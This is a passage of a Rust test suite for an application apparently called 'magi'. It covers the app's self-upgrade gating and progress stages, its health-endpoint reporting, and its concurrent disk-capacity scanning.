22880        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22881        unsafe {
22882            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22883        }
22884        let fx = Fixture::start().await;
22885        let res = fx.post("/api/upgrade", None).await;
22886        unsafe {
22887            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22888        }
22889        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22890        let body = res.json();
22891        assert!(body["to"].is_null(), "there was no release to move to");
22892        assert!(body["parked"].is_null(), "and nothing was parked");
22893        assert!(
22894            body["detail"]
22895                .as_str()
22896                .unwrap()
22897                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22898            "{body:?}"
22899        );
22900    }
22901
22902    #[test]
22903    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22904        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22905        let mut cfg = Update::default();
22906        assert!(matches!(
22907            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22908            Skip(_)
22909        ));
22910        cfg.auto_restart = true;
22911        assert_eq!(
22912            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22913            Trigger
22914        );
22915        assert_eq!(
22916            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22917            Wait
22918        );
22919        for (disabled, moving, failed) in [
22920            (true, false, None),
22921            (false, true, None),
22922            (false, false, Some("v2")),
22923        ] {
22924            assert!(matches!(
22925                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22926                Skip(_)
22927            ));
22928        }
22929        assert_eq!(
22930            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22931            Trigger
22932        );
22933        cfg.mode = UpdateMode::Off;
22934        assert!(matches!(
22935            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22936            Skip(_)
22937        ));
22938    }
22939
22940    #[test]
22941    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22942        let home = TempDir::new().unwrap();
22943        let ui = idle_ui(&home);
22944        assert!(!ui.auto_upgrade_busy());
22945        let directory = home.path().join("workers/jobs/abcdef");
22946        std::fs::create_dir_all(&directory).unwrap();
22947        let mut job = crate::worker::Job {
22948            id: "abcdef".into(),
22949            sequence: 1,
22950            kind: "scheduler".into(),
22951            key: "scheduler".into(),
22952            payload: serde_json::json!({}),
22953            generation: "test".into(),
22954            version: None,
22955            status: crate::worker::Status::Running,
22956            result: None,
22957            pid: None,
22958            created_at: 0,
22959            finished_at: None,
22960        };
22961        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22962        let write = |job: &crate::worker::Job| {
22963            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22964        };
22965        write(&job);
22966        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22967        for kind in ["task", "chat"] {
22968            job.kind = kind.into();
22969            write(&job);
22970            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22971        }
22972        drop(lease);
22973        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22974        // the descriptor. Check the real decision directly: a raw flock probe
22975        // here could itself be inherited and keep the worker looking busy.
22976        assert!(
22977            !ui.auto_upgrade_busy(),
22978            "completed execution permits updates"
22979        );
22980        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22981        assert!(
22982            ui.auto_upgrade_busy(),
22983            "unreadable worker state defers updates"
22984        );
22985    }
22986
22987    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22988        Box::pin(async { anyhow::bail!("test installer failed") })
22989    }
22990
22991    #[tokio::test]
22992    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22993        let home = TempDir::new().unwrap();
22994        std::fs::write(
22995            home.path().join("magi.toml"),
22996            "[update]\nauto_restart = true\n",
22997        )
22998        .unwrap();
22999        let mut ui = idle_ui(&home);
23000        ui.repo = home.path().to_path_buf();
23001        // Every successful trigger in this test uses this seam, never the installer.
23002        ui.upgrade_runner = fail_test_upgrade;
23003        let ui = Arc::new(ui);
23004        let latest = || {
23005            Some(kaishin::LatestRelease {
23006                tag_name: "v999.0.0".into(),
23007                html_url: String::new(),
23008            })
23009        };
23010        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23011        assert_eq!(
23012            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23013                .await
23014                .status(),
23015            StatusCode::NO_CONTENT
23016        );
23017        assert!(updater::read_progress(home.path()).is_none());
23018        ui.talk_turns.lock().unwrap().live.clear();
23019        let gate = ui.upgrade_gate.lock().await;
23020        assert_eq!(
23021            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23022                .await
23023                .status(),
23024            StatusCode::CONFLICT
23025        );
23026        drop(gate);
23027        assert_eq!(
23028            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23029                .await
23030                .status(),
23031            StatusCode::ACCEPTED
23032        );
23033        let progress = updater::read_progress(home.path()).unwrap();
23034        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23035        assert_eq!(progress.stage, updater::Stage::Downloading);
23036        assert!(progress.parked_run.is_none());
23037        assert!(ui.start_detached_loop().await.is_err());
23038        assert!(ui.start_loop(None).is_err());
23039        assert!(ui.begin_resume("late").is_err());
23040        tokio::time::timeout(Duration::from_secs(2), async {
23041            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23042                tokio::task::yield_now().await;
23043            }
23044        })
23045        .await
23046        .unwrap();
23047        let progress = updater::read_progress(home.path()).unwrap();
23048        assert_eq!(progress.stage, updater::Stage::Failed);
23049        assert_eq!(
23050            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23051                .await
23052                .status(),
23053            StatusCode::NO_CONTENT
23054        );
23055        // The manual shared path records the same progress and runs the same seam.
23056        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23057        assert_eq!(
23058            finish_upgrade_request(&ui, result).status(),
23059            StatusCode::ACCEPTED
23060        );
23061        assert_eq!(
23062            updater::read_progress(home.path()).unwrap().trigger,
23063            updater::UpgradeTrigger::Manual
23064        );
23065        tokio::time::timeout(Duration::from_secs(2), async {
23066            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23067                tokio::task::yield_now().await;
23068            }
23069        })
23070        .await
23071        .unwrap();
23072    }
23073
23074    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23075        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23076        p.stage = stage;
23077        p
23078    }
23079
23080    #[test]
23081    fn busy_stages_match_the_ui_set() {
23082        use crate::updater::Stage;
23083        assert!(APP_JS.contains(
23084            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23085        ));
23086        for s in [
23087            Stage::Downloading,
23088            Stage::Replaced,
23089            Stage::Parking,
23090            Stage::Restarting,
23091        ] {
23092            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23093        }
23094        for s in [Stage::Done, Stage::Failed] {
23095            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23096        }
23097        assert!(upgrade_in_motion(None).is_none());
23098    }
23099
23100    #[tokio::test]
23101    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23102        use crate::updater::Stage;
23103        for stage in [
23104            Stage::Downloading,
23105            Stage::Replaced,
23106            Stage::Parking,
23107            Stage::Restarting,
23108        ] {
23109            let fx = Fixture::start().await;
23110            let seeded = seeded_progress(stage);
23111            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23112            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23113                .expect("read");
23114
23115            let res = fx.post("/api/upgrade", None).await;
23116            assert_eq!(res.status, 409, "{stage:?}");
23117            let err = res.json()["error"].as_str().unwrap().to_owned();
23118            assert!(err.contains("already in progress"), "{err}");
23119            assert!(err.contains(stage.as_str()), "{err}");
23120
23121            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23122                .expect("read");
23123            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23124            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23125                .unwrap_or_default();
23126            assert!(!log.contains("signalling HANDOVER"), "{log}");
23127        }
23128    }
23129
23130    #[test]
23131    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23132        assert_eq!(
23133            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23134            Some(3723)
23135        );
23136        assert_eq!(
23137            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23138            Some(60)
23139        );
23140        assert_eq!(
23141            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23142            Some(0)
23143        );
23144        for message in [
23145            "permission denied",
23146            "GitHub API rate limit exceeded",
23147            "GitHub rate limit (resets in unknown)",
23148            "GitHub rate limit (resets in 18446744073709551615d)",
23149        ] {
23150            assert_eq!(upgrade_retry_after(message), None, "{message}");
23151        }
23152    }
23153
23154    #[tokio::test]
23155    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23156        let home = TempDir::new().unwrap();
23157        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23158        ui.start_loop(None).unwrap();
23159        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23160        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23161        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23162        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23163        let response = finish_upgrade_request(&ui, result);
23164        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23165        assert_eq!(response.headers()["retry-after"], "120");
23166        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23167            .await
23168            .unwrap();
23169        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23170        assert!(body["error"].as_str().unwrap().contains(reason));
23171        assert_eq!(body["retry_after_secs"], 120);
23172        assert!(body["retry_at"].as_u64().is_some());
23173        for _ in 0..2 {
23174            let view = health(State(ui.clone())).await.unwrap().0;
23175            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23176            assert_eq!(failure, body);
23177        }
23178        assert_eq!(
23179            std::fs::read(updater::progress_path(home.path())).unwrap(),
23180            before
23181        );
23182        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23183        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23184        // A conflicting request must not erase the actionable earlier failure.
23185        let gate = ui.upgrade_gate.lock().await;
23186        assert_eq!(
23187            upgrade_post(State(ui.clone())).await.status(),
23188            StatusCode::CONFLICT
23189        );
23190        drop(gate);
23191        assert!(
23192            health(State(ui.clone()))
23193                .await
23194                .unwrap()
23195                .0
23196                .upgrade_request_error
23197                .is_some()
23198        );
23199        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23200        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23201        assert!(
23202            health(State(ui.clone()))
23203                .await
23204                .unwrap()
23205                .0
23206                .upgrade_request_error
23207                .is_none()
23208        );
23209        let live = ui.lock_loop().live.take().unwrap();
23210        live.stop.stop();
23211        live.handle.await.unwrap();
23212    }
23213
23214    #[tokio::test]
23215    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23216        use crate::updater::Stage;
23217        let repo = TempDir::new().expect("repo dir");
23218        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23219            .expect("write magi.toml");
23220        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23221        for stage in [Stage::Done, Stage::Failed] {
23222            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23223            let res = fx.post("/api/upgrade", None).await;
23224            assert_eq!(res.status, 200, "{stage:?}");
23225        }
23226        // No record at all, and the gate was released by the earlier calls.
23227        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23228        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23229    }
23230
23231    #[tokio::test]
23232    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23233        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23234        // and the route answers from its own logic.
23235        //
23236        // This test used to lean on the fixture's placeholder repo failing
23237        // config discovery, which left `mode = "notify"` - and a live,
23238        // unauthenticated call to the GitHub releases API inside a unit test.
23239        // GitHub allows 60 of those an hour per address, so the suite went red
23240        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23241        // long as somebody kept re-running it: every attempt spent another
23242        // request. Six reruns across four pull requests were charged to that
23243        // before it was read as a rate limit rather than a flake.
23244        //
23245        // What the assertion is about is the "already current" branch, which
23246        // is reached by there being no newer release *or* nowhere to look. The
23247        // second one needs no network and cannot be rate limited.
23248        let repo = TempDir::new().expect("repo dir");
23249        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23250            .expect("write magi.toml");
23251        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23252
23253        // It must answer 200 and leave the process alone: restarting for an
23254        // upgrade that did not happen parks the run in flight and drops every
23255        // connection to pay for nothing. A probe against a deck already on the
23256        // newest build did exactly that, which is how this case got its own
23257        // branch.
23258        let res = fx.post("/api/upgrade", None).await;
23259        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23260        let body = res.json();
23261        assert!(body["to"].is_null(), "there was no release to move to");
23262        assert!(body["parked"].is_null(), "and nothing was parked");
23263        assert!(
23264            body["detail"]
23265                .as_str()
23266                .unwrap()
23267                .contains("nothing restarted"),
23268            "{body:?}"
23269        );
23270    }
23271
23272    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23273        tokio::time::timeout(Duration::from_secs(5), async {
23274            while state.lock().unwrap().in_flight {
23275                tokio::task::yield_now().await;
23276            }
23277        })
23278        .await
23279        .expect("capacity scan finished");
23280    }
23281
23282    fn disk_test_scope(home: &FsPath) -> DiskScope {
23283        DiskScope {
23284            runs: home.join("runs"),
23285            worktrees: home.join("worktrees"),
23286            cache: Some(home.join("cache")),
23287        }
23288    }
23289
23290    fn known_disk_capacity() -> DiskCapacity {
23291        DiskCapacity {
23292            free_bytes: Some(100),
23293            runs_bytes: Some(200),
23294            worktrees_bytes: Some(300),
23295            cache_bytes: Some(400),
23296        }
23297    }
23298
23299    #[tokio::test]
23300    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23301        let home = TempDir::new().unwrap();
23302        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23303        let mut ui = delta_test_ui(home.path());
23304        let state = Arc::get_mut(&mut ui).unwrap();
23305        state.repo = home.path().to_owned();
23306        state.worktrees_root = home.path().join("worktrees");
23307        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23308        ui.monitor
23309            .worker_started
23310            .store(true, std::sync::atomic::Ordering::SeqCst);
23311        let cfg = deputy_config(&ui.repo);
23312        let scope = DiskScope::of(&ui, cfg.as_ref());
23313        let (started, reached) = tokio::sync::oneshot::channel();
23314        let (release, blocked) = std::sync::mpsc::channel();
23315        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23316            started.send(()).unwrap();
23317            blocked.recv().unwrap();
23318            known_disk_capacity()
23319        });
23320        assert!(cold.runs_bytes.is_none());
23321        tokio::time::timeout(Duration::from_secs(5), reached)
23322            .await
23323            .unwrap()
23324            .unwrap();
23325
23326        let requests: Vec<_> = (0..4)
23327            .map(|_| {
23328                let ui = ui.clone();
23329                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23330            })
23331            .collect();
23332        tokio::time::timeout(Duration::from_secs(5), async {
23333            for request in requests {
23334                let view = request.await.unwrap();
23335                let disk = serde_json::to_value(view.disk).unwrap();
23336                assert!(disk["runs_bytes"].is_null());
23337                assert!(disk["worktrees_bytes"].is_null());
23338                // Free space is a cheap live observation even while the
23339                // recursive capacity measurement remains blocked.
23340                assert!(disk["free_bytes"].is_u64());
23341            }
23342        })
23343        .await
23344        .expect("health must return while the measurement is causally blocked");
23345        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23346        // No competing worker can have published while the first holds flight.
23347        assert!(
23348            ui.monitor
23349                .disk
23350                .lock()
23351                .unwrap()
23352                .capacity
23353                .runs_bytes
23354                .is_none()
23355        );
23356        release.send(()).unwrap();
23357        wait_for_disk_scan(&ui.monitor.disk).await;
23358        assert_eq!(
23359            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23360            Some(200)
23361        );
23362    }
23363
23364    #[tokio::test]
23365    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23366        let home = TempDir::new().unwrap();
23367        let scope = disk_test_scope(home.path());
23368        let state = Arc::new(Mutex::new(DiskObservation {
23369            scope: Some(scope.clone()),
23370            capacity: known_disk_capacity(),
23371            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23372            ..Default::default()
23373        }));
23374        let (started, reached) = tokio::sync::oneshot::channel();
23375        let (release, blocked) = std::sync::mpsc::channel();
23376        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23377            started.send(()).unwrap();
23378            blocked.recv().unwrap();
23379            DiskCapacity {
23380                runs_bytes: Some(250),
23381                ..Default::default()
23382            }
23383        });
23384        assert_eq!(before.cache_bytes, Some(400));
23385        tokio::time::timeout(Duration::from_secs(5), reached)
23386            .await
23387            .unwrap()
23388            .unwrap();
23389        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23390        for _ in 0..4 {
23391            let scans = duplicate_scans.clone();
23392            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23393                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23394                DiskCapacity::default()
23395            });
23396            assert_eq!(during.runs_bytes, Some(200));
23397            assert_eq!(during.cache_bytes, Some(400));
23398        }
23399        release.send(()).unwrap();
23400        wait_for_disk_scan(&state).await;
23401        let scans = duplicate_scans.clone();
23402        let after = DiskObservation::observe(&state, scope, move |_| {
23403            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23404            DiskCapacity::default()
23405        });
23406        wait_for_disk_scan(&state).await;
23407        assert_eq!(after.runs_bytes, Some(250));
23408        assert_eq!(after.free_bytes, Some(100));
23409        assert_eq!(after.cache_bytes, Some(400));
23410        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23411        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23412    }
23413
23414    #[tokio::test]
23415    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23416        let home = TempDir::new().unwrap();
23417        let old_scope = disk_test_scope(home.path());
23418        let mut new_scope = old_scope.clone();
23419        new_scope.cache = Some(home.path().join("replacement-cache"));
23420        let state = Arc::new(Mutex::new(DiskObservation {
23421            scope: Some(old_scope.clone()),
23422            capacity: known_disk_capacity(),
23423            ..Default::default()
23424        }));
23425        let (started, reached) = tokio::sync::oneshot::channel();
23426        let (release, blocked) = std::sync::mpsc::channel();
23427        DiskObservation::observe(&state, old_scope, move |_| {
23428            started.send(()).unwrap();
23429            blocked.recv().unwrap();
23430            known_disk_capacity()
23431        });
23432        tokio::time::timeout(Duration::from_secs(5), reached)
23433            .await
23434            .unwrap()
23435            .unwrap();
23436        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23437        let scans = duplicate_scans.clone();
23438        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23439            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23440            DiskCapacity::default()
23441        });
23442        assert!(changed.cache_bytes.is_none());
23443        assert!(changed.runs_bytes.is_none());
23444        release.send(()).unwrap();
23445        wait_for_disk_scan(&state).await;
23446        {
23447            let observation = state.lock().unwrap();
23448            assert!(observation.capacity.cache_bytes.is_none());
23449            assert!(observation.finished.is_none());
23450        }
23451        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23452            assert_eq!(scope, &new_scope);
23453            DiskCapacity {
23454                cache_bytes: Some(999),
23455                ..Default::default()
23456            }
23457        });
23458        wait_for_disk_scan(&state).await;
23459        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23460        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23461    }
23462
23463    #[tokio::test]
23464    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23465        let home = TempDir::new().unwrap();
23466        let scope = disk_test_scope(home.path());
23467        let state = Arc::new(Mutex::new(DiskObservation {
23468            scope: Some(scope.clone()),
23469            capacity: known_disk_capacity(),
23470            ..Default::default()
23471        }));
23472        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23473        wait_for_disk_scan(&state).await;
23474        {
23475            let mut observation = state.lock().unwrap();
23476            assert_eq!(observation.capacity.cache_bytes, Some(400));
23477            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23478            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23479        }
23480        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23481            cache_bytes: Some(450),
23482            ..Default::default()
23483        });
23484        wait_for_disk_scan(&state).await;
23485        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23486    }
23487
23488    #[test]
23489    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23490        let home = TempDir::new().unwrap();
23491        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23492        assert_eq!(disk_capacity_size(home.path()), Some(0));
23493        std::fs::create_dir(home.path().join("nested")).unwrap();
23494        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23495        assert_eq!(disk_capacity_size(home.path()), Some(5));
23496        #[cfg(unix)]
23497        {
23498            // Unix distinguishes an invalid descendant lookup from absence.
23499            assert_eq!(
23500                disk_capacity_size(&home.path().join("nested/data/child")),
23501                None
23502            );
23503        }
23504        #[cfg(unix)]
23505        {
23506            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23507            assert_eq!(disk_capacity_size(home.path()), Some(5));
23508        }
23509    }
23510
23511    #[tokio::test]
23512    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23513        // `mode = "off"` for the same reason as the test above: a default
23514        // fixture repo falls back to `mode = "notify"`, which would make this
23515        // route's new `update` field a live, unauthenticated GitHub call on
23516        // every assertion in this suite that happens to hit `/api/health`.
23517        let repo = TempDir::new().expect("repo dir");
23518        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23519            .expect("write magi.toml");
23520        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23521
23522        let health = fx.get("/api/health").await.json();
23523        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23524        assert_eq!(
23525            health["update"]["available"], false,
23526            "checking is off, which reads as \"unknown\", not \"none\""
23527        );
23528        assert!(health["update"]["to"].is_null());
23529        assert!(
23530            health["upgrade"].is_null(),
23531            "nothing has ever asked this deck to upgrade"
23532        );
23533    }
23534
23535    #[tokio::test]
23536    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23537        let fx = Fixture::start().await;
23538        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23539
23540        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23541        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23542        progress.advance(crate::updater::Stage::Parking);
23543        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23544
23545        let health = fx.get("/api/health").await.json();
23546        assert_eq!(health["upgrade"]["stage"], "parking");
23547        assert_eq!(health["upgrade"]["from"], "0.5.1");
23548        assert_eq!(health["upgrade"]["to"], "0.5.2");
23549        let waiting_on = health["upgrade"]["waiting_on"]
23550            .as_str()
23551            .expect("waiting_on is set while parking a known run");
23552        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23553        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23554    }
23555
23556    #[tokio::test]
23557    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23558        let fx = Fixture::start().await;
23559        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23560        progress.advance(crate::updater::Stage::Done);
23561        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23562
23563        let health = fx.get("/api/health").await.json();
23564        assert_eq!(health["upgrade"]["stage"], "done");
23565        assert!(
23566            health["upgrade"]["waiting_on"].is_null(),
23567            "nothing to wait on once it is done"
23568        );
23569    }
23570
23571    /// The handover signal is seen however the race falls, and wakes its one
23572    /// waiter once per signal - nothing here can spin.
23573    #[tokio::test]
23574    async fn the_handover_signal_wakes_one_waiter_once() {
23575        let signal = Notify::new();
23576        // Signalled before anyone waits: the stored permit is not lost.
23577        signal.notify_one();
23578        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23579            .await
23580            .expect("an early signal is still seen");
23581        // One signal, one wake-up: a second wait does not resolve by itself.
23582        assert!(
23583            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23584                .await
23585                .is_err(),
23586            "a consumed signal must not wake a second time"
23587        );
23588        // Signalled while waiting.
23589        let signal = std::sync::Arc::new(signal);
23590        let waiter = tokio::spawn({
23591            let signal = std::sync::Arc::clone(&signal);
23592            async move { wait_for_handover(&signal).await }
23593        });
23594        tokio::time::sleep(Duration::from_millis(20)).await;
23595        assert!(!waiter.is_finished(), "nothing was signalled yet");
23596        signal.notify_one();
23597        tokio::time::timeout(Duration::from_secs(5), waiter)
23598            .await
23599            .expect("a late signal wakes the waiter")
23600            .expect("join");
23601    }
23602
23603    #[tokio::test]
23604    async fn health_says_how_long_a_handover_has_been_stuck() {
23605        let fx = Fixture::start().await;
23606        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23607        progress.advance(crate::updater::Stage::Replaced);
23608        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23609        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23610
23611        let health = fx.get("/api/health").await.json();
23612        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23613        assert!(stuck >= 600, "{stuck}");
23614        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23615        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23616    }
23617
23618    #[tokio::test]
23619    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23620        let home = tempfile::tempdir().expect("temp home");
23621        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23622        progress.advance(crate::updater::Stage::Parking);
23623        crate::updater::write_progress(home.path(), &progress).expect("seed");
23624        // What the second upgrade_and_restart and its handler do.
23625        let mut again = progress.clone();
23626        again.advance(crate::updater::Stage::Replaced);
23627        crate::updater::write_progress(home.path(), &again).expect("replaced");
23628        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23629        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23630        let after = crate::updater::read_progress(home.path()).expect("record");
23631        assert_eq!(after.stage, crate::updater::Stage::Parking);
23632    }
23633
23634    #[tokio::test]
23635    async fn health_does_not_call_a_live_parking_wait_stuck() {
23636        let fx = Fixture::start().await;
23637        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23638        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23639        progress.advance(crate::updater::Stage::Parking);
23640        let hours = Duration::from_secs(3 * 3600);
23641        progress.started_at = Timestamp::now() - hours;
23642        progress.updated_at = Timestamp::now() - hours;
23643        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23644        let _lease = crate::updater::LeaseGuard::enter(
23645            fx.home.path(),
23646            Some("20260905-000000-cd51".to_owned()),
23647        );
23648
23649        let health = fx.get("/api/health").await.json();
23650        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23651        assert!(health["upgrade"]["stuck_kind"].is_null());
23652        assert_eq!(health["upgrade"]["handover_alive"], true);
23653        let waiting_on = health["upgrade"]["waiting_on"]
23654            .as_str()
23655            .expect("waiting_on");
23656        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23657    }
23658
23659    fn idle_ui(home: &TempDir) -> Ui {
23660        let runs = home.path().join("runs");
23661        std::fs::create_dir_all(&runs).expect("runs dir");
23662        Ui::new(
23663            Queue::at(home.path().join("queue")),
23664            Questions::at(home.path().join("questions")),
23665            Talks::at(home.path().join("talks")),
23666            runs,
23667            home.path().to_path_buf(),
23668            PathBuf::from("/repo/magi"),
23669        )
23670        .with_launch(launch_idle)
23671    }
23672
23673    #[tokio::test]
23674    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23675        let home = TempDir::new().expect("temp home");
23676        let ui = idle_ui(&home);
23677        let lease = crate::worker::try_lease(home.path(), "scheduler")
23678            .expect("scheduler lease")
23679            .expect("free");
23680        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23681            .expect("request stop");
23682        let error = ui
23683            .start_detached_loop()
23684            .await
23685            .expect_err("transition is still live");
23686        assert_eq!(error.status, StatusCode::CONFLICT);
23687        assert!(error.message.contains("still running or stopping"));
23688        assert_eq!(
23689            crate::worker::control(home.path(), "scheduler").unwrap(),
23690            Some(crate::worker::Control::Stop)
23691        );
23692        drop(lease);
23693    }
23694
23695    #[tokio::test]
23696    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23697        let home = TempDir::new().expect("temp home");
23698        let ui = idle_ui(&home);
23699        let turns = ui
